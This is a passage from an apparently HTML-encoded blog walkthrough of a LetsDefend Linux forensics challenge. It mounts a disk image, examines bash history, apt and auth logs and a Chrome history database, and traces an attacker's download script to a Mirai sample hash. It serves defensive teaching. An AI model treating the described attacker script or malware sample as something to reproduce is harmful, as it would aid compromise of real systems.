&gt;&lt;strong&gt;kpartx&lt;/strong&gt;&lt;/a&gt; to mount the image and create a device map, which auto-mounts and appears like an attached drive in the file manager.&lt;/p&gt;&#xA;&lt;p&gt;Open the terminal and run the following command. The &lt;code&gt;-a&lt;/code&gt; flag mounts all partitions, and &lt;code&gt;-v&lt;/code&gt; gives us verbose output. In this example, I&amp;rsquo;ve launched the terminal from within the &lt;code&gt;/home/analyst&lt;/code&gt; folder:&lt;/p&gt;&#xA;&lt;p&gt;kpartx -av hackerman.img&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;375px&#34; data-flex-grow=&#34;156&#34; height=&#34;512&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/d0b93249b268548ce8fafa911dc91e71_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;LetsDefend VM: Using kpartx in the terminal and finding the mounted volume&lt;/p&gt;&#xA;&lt;p&gt;Once the partitions are mapped, navigate to the &lt;em&gt;hackerman&lt;/em&gt; user&amp;rsquo;s desktop within the mounted volume.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;311px&#34; data-flex-grow=&#34;129&#34; height=&#34;555&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/d07aae157b58bb581c40367081f559b4_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;LetsDefend VM: Identifying the file in the hackerman desktop&lt;/p&gt;&#xA;&lt;p&gt;Now that we see the super hackery image, we need to collect the file hash — this time using SHA256 instead of MD5. We can do that with the &lt;code&gt;sha256sum&lt;/code&gt; command:&lt;/p&gt;&#xA;&lt;p&gt;sha256sum hackerman.jpeg&lt;/p&gt;&#xA;&lt;p&gt;3c76e6c36c18ea881e3a681baa51822141c5bdbfef73c8f33c25ce62ea341246&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1015px&#34; data-flex-grow=&#34;423&#34; height=&#34;189&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/e07efd56bf4a726fdfc7564a4a16765f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-command-did-the-user-use-to-install-googlechrome&#34;&gt;Question 3: What command did the user use to install Google Chrome?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have access to the contents of the disk image, we can start investigating the attacker&amp;rsquo;s actions. One extremely robust and common source of forensic artifacts on Linux is the &lt;code&gt;.bash_history&lt;/code&gt; file. This file stores the commands run within the shell or terminal, making it extremely valuable for user behavior context.&lt;/p&gt;&#xA;&lt;p&gt;To view the history within the mounted volume, open a terminal in the &lt;code&gt;/home/hackerman&lt;/code&gt; folder and use the &lt;code&gt;cat&lt;/code&gt; command to print the contents of the &lt;code&gt;.bash_history&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;p&gt;cat .bash_history&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;384px&#34; data-flex-grow=&#34;160&#34; height=&#34;414&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/ebe82682ab6a2440bc7ae23b389a2bdb_MD5.png&#34; width=&#34;663&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the Chrome installation command within the .bash_history&lt;/p&gt;&#xA;&lt;p&gt;The output will display in ascending order, with the oldest commands appearing first. Scanning through the commands run by &lt;em&gt;hackerman&lt;/em&gt;, we can see near the bottom that they downloaded the Chrome installer package and installed it using &lt;code&gt;[dpkg](https://manpages.ubuntu.com/manpages/jammy/en/man1/dpkg.1.html)&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;sudo dpkg -i google-chrome-stable_current_amd64.deb&lt;/p&gt;&#xA;&lt;p&gt;Keep this terminal window handy — we&amp;rsquo;ll reference it several more times throughout our investigation&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1015px&#34; data-flex-grow=&#34;423&#34; height=&#34;189&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/4585947951a1de56d114e69150322b9c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-when-was-the-gimp-app-installed-answer-format-yyyy-mm-dd-hhmmss&#34;&gt;Question 4: When was the Gimp app installed? Answer format: yyyy-mm-dd hh:mm:ss&#xA;&lt;/h3&gt;&lt;p&gt;To answer Question 4, we&amp;rsquo;ll search another valuable artifact: the &lt;code&gt;history.log&lt;/code&gt; file. This log contains entries from the &lt;code&gt;apt&lt;/code&gt; package manager, including installation commands and timestamps.&lt;/p&gt;&#xA;&lt;p&gt;You can access the &lt;code&gt;history.log&lt;/code&gt; file from the mounted file system by navigating to:&lt;/p&gt;&#xA;&lt;p&gt;/media/root/&lt;UUID&gt;/var/log/apt/history.log&lt;/p&gt;&#xA;&lt;p&gt;You can read this file from the terminal using &lt;code&gt;cat&lt;/code&gt;, or open it with a text editor. For illustrative purposes, I&amp;rsquo;ve opened the log in the &lt;em&gt;Mousepad&lt;/em&gt; text editor on the VM and used the &lt;em&gt;Find&lt;/em&gt; function to search for &lt;code&gt;&amp;quot;gimp&amp;quot;&lt;/code&gt;. This takes us directly to the logged line:&lt;/p&gt;&#xA;&lt;p&gt;Commandline: apt install gimp&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;433&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/91dcf4d890e0ec59b057c5a0e4104b69_MD5.png&#34; width=&#34;576&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the Gimp installation in history.log&lt;/p&gt;&#xA;&lt;p&gt;Just above that line, you&amp;rsquo;ll find the corresponding timestamp we need within the &lt;em&gt;Start-Date&lt;/em&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1129px&#34; data-flex-grow=&#34;470&#34; height=&#34;170&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/84b2b5c566e504e985ad39fefce90d78_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-hidden-secret-that-the-attacker-believes-they-have-successfully-concealed-in-a-secretfile&#34;&gt;Question 5: What is the hidden secret that the attacker believes they have successfully concealed in a secret file?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to examine the contents of a &amp;ldquo;secret&amp;quot;file. Remember how I mentioned we&amp;rsquo;d need the contents of the &lt;code&gt;.bash_history&lt;/code&gt; file again? Let&amp;rsquo;s refer back to the output we explored in &lt;strong&gt;Question 3&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Take a look at the commands for our clue. The attacker, &lt;em&gt;hackerman&lt;/em&gt;, first uses the &lt;code&gt;cd ~&lt;/code&gt; command to navigate to their home directory, and then uses the &lt;code&gt;touch&lt;/code&gt; command to create the &lt;code&gt;.secrets&lt;/code&gt; file, and then &lt;code&gt;nano .secrets&lt;/code&gt; to edit it within the &lt;em&gt;Nano&lt;/em&gt; text editor. Let&amp;rsquo;s see what&amp;rsquo;s inside!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;432px&#34; data-flex-grow=&#34;180&#34; height=&#34;367&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/79e5d2d5e4a35770ab69bb10df024b41_MD5.png&#34; width=&#34;661&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the .secrets file within the .bash_history&lt;/p&gt;&#xA;&lt;p&gt;cat .secrets&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;816px&#34; data-flex-grow=&#34;340&#34; height=&#34;195&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/8983ac7b714f4c685c40f8f558aa6807_MD5.png&#34; width=&#34;663&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Revealing the contents of the .secrets file&lt;/p&gt;&#xA;&lt;p&gt;Using the &lt;code&gt;cat&lt;/code&gt; command, we can display the contents of the &amp;ldquo;secret&amp;quot;file for some insight into the attacker&amp;rsquo;s motives. Nice!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1149px&#34; data-flex-grow=&#34;479&#34; height=&#34;167&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/b66714dadd4423b76babaab16f1be655_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-was-the-uuid-of-the-main-rootvolume&#34;&gt;Question 6: What was the UUID of the main root volume?&#xA;&lt;/h3&gt;&lt;p&gt;Next stop on our investigation is to determine the &lt;strong&gt;Universally Unique Identifier (UUID)&lt;/strong&gt; of the main root volume. That might sound a bit complicated, but the good news is — we&amp;rsquo;ve already done the hard part.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;em&gt;UUID&lt;/em&gt; is a unique identifier used to distinguish storage devices and file systems. It&amp;rsquo;s the same mechanism that allowed us to mount the &lt;code&gt;hackerman.img&lt;/code&gt; file earlier in the challenge. That image has a UUID, and it&amp;rsquo;s how we&amp;rsquo;re identifying and navigating the file system.&lt;/p&gt;&#xA;&lt;p&gt;So, the &lt;em&gt;UUID&lt;/em&gt; for the main root volume is the string of numbers we identified in the device path:&lt;/p&gt;&#xA;&lt;p&gt;29153a2e-48a7-4e89-a844-dfa637a5d461&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;432px&#34; data-flex-grow=&#34;180&#34; height=&#34;367&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/563684493ba5622c228eeb9a97173c8d_MD5.png&#34; width=&#34;661&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the UUID within the terminal path&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3927px&#34; data-flex-grow=&#34;1636&#34; height=&#34;44&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/7a992795bf71e803984a487662b909d8_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the UUID within the files window&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1037px&#34; data-flex-grow=&#34;432&#34; height=&#34;185&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/82dc43f3c9627db482196297a7b73afc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-how-many-privileged-commands-did-the-userrun&#34;&gt;Question 7: How many privileged commands did the user run?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re closing in on the halfway point! For the next question, we need to determine the number of privileged commands run by the &lt;em&gt;hackerman&lt;/em&gt; user. For this objective, we can leverage another log — &lt;code&gt;auth.log&lt;/code&gt;. This file contains the system&amp;rsquo;s authentication events, including commands elevated using &lt;code&gt;[sudo](https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html)&lt;/code&gt; or &lt;code&gt;[pkexec](https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To start, let&amp;rsquo;s open &lt;code&gt;auth.log&lt;/code&gt; and look for patterns involving &lt;code&gt;sudo&lt;/code&gt; and &lt;code&gt;pkexec&lt;/code&gt; under the &lt;em&gt;hackerman&lt;/em&gt; user account. The log can be found at:&lt;/p&gt;&#xA;&lt;p&gt;/media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/var/log/auth.log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/298e83ddf6e77825e8d8b87cf29838ca_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Auth.log: Identifying a sample of privileged command execution&lt;/p&gt;&#xA;&lt;p&gt;Inside &lt;em&gt;auth.log&lt;/em&gt;, we can single out a few commands (&lt;em&gt;see the above screenshot&lt;/em&gt;) that match what we&amp;rsquo;re looking for. The presence of these events in the logs indicates that &lt;em&gt;hackerman&lt;/em&gt; ran the command with elevated privileges:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;[sudo](https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html)&lt;/code&gt; is used to execute commands with superuser privileges.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[pkexec](https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html)&lt;/code&gt; is part of the &lt;em&gt;PolicyKit&lt;/em&gt; framework and allows a user to execute a command as another user (root in this case).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So, putting this all together and keeping it simple: we can see a pattern in how the username is displayed with each command type — &lt;code&gt;hackerman:&lt;/code&gt; for &lt;em&gt;sudo&lt;/em&gt; and &lt;code&gt;hackerman :&lt;/code&gt; for &lt;em&gt;pkexec&lt;/em&gt;. We&amp;rsquo;re going to pull out all of the lines matching this format by running a pattern match with &lt;code&gt;grep&lt;/code&gt; for both.&lt;/p&gt;&#xA;&lt;p&gt;This will help us identify all the privileged commands executed by the attacker. To make it even easier, we can add &lt;code&gt;wc -l&lt;/code&gt; at the end to get a line count and save ourselves the headache. I&amp;rsquo;ve demonstrated the command with and without it below:&lt;/p&gt;&#xA;&lt;p&gt;cat auth.log | grep -e &amp;ldquo;hackerman:&amp;rdquo; - &amp;ldquo;hackerman :&amp;rdquo; | wc -l&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;360px&#34; data-flex-grow=&#34;150&#34; height=&#34;533&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/5e5fb6c1da5170e1b23f5b5c0983f37e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using grep to identify all privileged commands in auth.log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1090px&#34; data-flex-grow=&#34;454&#34; height=&#34;176&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/dee3e0733f2d32fd82be03e1ffa93179_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-last-thing-the-user-searches-for-in-the-installed-browser&#34;&gt;Question 8: What is the last thing the user searches for in the installed browser?&#xA;&lt;/h3&gt;&lt;p&gt;Remember back in &lt;strong&gt;Question 3&lt;/strong&gt; when we learned that &lt;em&gt;hackerman&lt;/em&gt; installed &lt;strong&gt;Google Chrome&lt;/strong&gt;? It&amp;rsquo;s reasonable to assume that this browser was also used during the attack, so let&amp;rsquo;s check out the browser cache artifacts located at:&lt;/p&gt;&#xA;&lt;p&gt;/home/hackerman/.config/google-chrome/Default/&lt;/p&gt;&#xA;&lt;p&gt;From here, we&amp;rsquo;ll focus on analyzing the &lt;code&gt;History&lt;/code&gt; database, which holds logs of the searches performed in &lt;em&gt;Chrome&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/96bb24ddc0dc7ed0067774586eeb1e65_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;LetsDefend VM: The location of the Chrome History database&lt;/p&gt;&#xA;&lt;p&gt;But how do we open it? Here&amp;rsquo;s a little problem — the &lt;code&gt;History&lt;/code&gt; file is a SQLite database, and the &lt;em&gt;LetsDefend&lt;/em&gt; environment doesn&amp;rsquo;t have internet access and doesn&amp;rsquo;t have a SQLite database browser built in either.&lt;/p&gt;&#xA;&lt;p&gt;Maybe we can try a simple hack: use &lt;code&gt;cat&lt;/code&gt; to open the database in the terminal and look for any readable strings. Only one way to find out if it works! Open the terminal in the directory and run the command below:&lt;/p&gt;&#xA;&lt;p&gt;cat History&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1306px&#34; data-flex-grow=&#34;544&#34; height=&#34;147&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/dc9b8abf4f6ebe8439e0ce16624b759d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying a search string within the Chrome History database&lt;/p&gt;&#xA;&lt;p&gt;Well, it isn&amp;rsquo;t pretty — but if you scroll through the output, you can make out the last string searched at the bottom of the log. Pay close attention to the spelling of &lt;em&gt;downlowad&lt;/em&gt; (sic) in the string.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1060px&#34; data-flex-grow=&#34;441&#34; height=&#34;181&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/7a179dc1d3ca2cdbe40e707584101447_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-from-q8-we-know-that-the-user-tried-to-write-a-script-what-is-the-script-name-that-the-userwrote&#34;&gt;Question 9: From Q8 we know that the user tried to write a script, what is the script name that the user wrote?&#xA;&lt;/h3&gt;&lt;p&gt;It looks like &lt;em&gt;hackerman&lt;/em&gt; is still learning his tradecraft, and our next task is to identify the malicious script they wrote. Fortunately, we&amp;rsquo;ve already stumbled on a clue back in &lt;strong&gt;Question 3&lt;/strong&gt;&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Maybe it stuck out to you when we were reviewing the &lt;code&gt;.bash_history&lt;/code&gt; file, but take another look—do you notice the second logged command? A shell script (&lt;code&gt;.sh&lt;/code&gt;) file was created using the &lt;code&gt;touch&lt;/code&gt; command:&lt;/p&gt;&#xA;&lt;p&gt;superhackingscript.sh&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;556px&#34; data-flex-grow=&#34;231&#34; height=&#34;345&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/aa416090ed68fd4ebf97d096ff480470_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying superhackingscript.sh within the .bash_history&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s jump down to the next question to determine the contents of this script — and whether it&amp;rsquo;s a &lt;em&gt;super-hacking&lt;/em&gt; script, indeed!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1078px&#34; data-flex-grow=&#34;449&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/0f60488b249da511ad52606e24faebd9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-what-is-the-url-that-the-user-uses-to-download-themalware&#34;&gt;Question 10: What is the URL that the user uses to download the malware?&#xA;&lt;/h3&gt;&lt;p&gt;To locate the script&amp;rsquo;s directory, we can open the terminal and use the &lt;code&gt;find&lt;/code&gt; command to search for the file by name:&lt;/p&gt;&#xA;&lt;p&gt;find /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/ -name &amp;ldquo;superhackingscript.sh&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! We can see it&amp;rsquo;s located in the &lt;code&gt;/tmp&lt;/code&gt; directory. Now all we need to do is &lt;code&gt;cat&lt;/code&gt; the file to check out its contents:&lt;/p&gt;&#xA;&lt;p&gt;cat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/tmp/superhackingscript.sh&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;690px&#34; data-flex-grow=&#34;287&#34; height=&#34;278&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/0aa16b515ef822d8506a09d93f23ccc7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the malicious URL within superhackingscript.sh&lt;/p&gt;&#xA;&lt;p&gt;With a conveniently placed comment line, we can see the URL hosting the &lt;em&gt;supermalware&lt;/em&gt; — er, malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1043px&#34; data-flex-grow=&#34;434&#34; height=&#34;184&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/19127d9a1f2f4d3f06d3655e95d1d9d4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-what-is-the-name-of-the-malware-that-the-user-tried-to-download&#34;&gt;Question 11: What is the name of the malware that the user tried to download?&#xA;&lt;/h3&gt;&lt;p&gt;Conveniently, we also have a &lt;code&gt;destination&lt;/code&gt; variable declared within &lt;code&gt;superhackingscript.sh&lt;/code&gt;. This is the path where the &lt;code&gt;curl&lt;/code&gt; command writes the downloaded file—but it doesn&amp;rsquo;t look quite like a typical file name, does it? It looks more like a file hash, similar to what we identified back in &lt;strong&gt;Questions 1&lt;/strong&gt; and &lt;strong&gt;2&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;703px&#34; data-flex-grow=&#34;293&#34; height=&#34;273&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/45978a476916cc8db671d11e7ef21009_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the malicious file hash within superhackingscript.sh&lt;/p&gt;&#xA;&lt;p&gt;ed6baf485cde6e94caa8326b91d323dbc53af58e954520ee55fed80b044c1985&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check if this is a known file hash by pivoting out to the online malware sharing and analysis platform, &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;. Copy the hash from the script and open your browser, navigating to: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once there, paste the hash into the search bar and let&amp;rsquo;s see what we find:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;615px&#34; data-flex-grow=&#34;256&#34; height=&#34;312&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/58c7291021a52c66960327872b40934c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the family label for the malware file hash&lt;/p&gt;&#xA;&lt;p&gt;Right away, we can see that this sample has been submitted to the platform before, and more than half of the antimalware engines that scanned it flagged it as malicious. But to answer &lt;strong&gt;Question 11&lt;/strong&gt;, we&amp;rsquo;re focused on the &amp;ldquo;Family label&amp;quot;tags. These tags help us identify the malware family, and in this case, the name of the malware is &lt;strong&gt;Mirai&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1049px&#34; data-flex-grow=&#34;437&#34; height=&#34;183&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/dbe8c70307976ec9a56bc89f59158b1b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-what-is-the-ip-address-associated-with-the-domain-that-the-userpinged&#34;&gt;Question 12: What is the IP address associated with the domain that the user pinged?&#xA;&lt;/h3&gt;&lt;p&gt;Switching gears, our next task is to determine the IP address associated with the &lt;code&gt;mmox.challenges&lt;/code&gt; domain that the user pinged. We have evidence of this domain in the &lt;code&gt;.bash_history&lt;/code&gt; file, where the user ran the &lt;code&gt;ping&lt;/code&gt; command—but take a closer look at the command executed just before that:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;556px&#34; data-flex-grow=&#34;231&#34; height=&#34;345&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 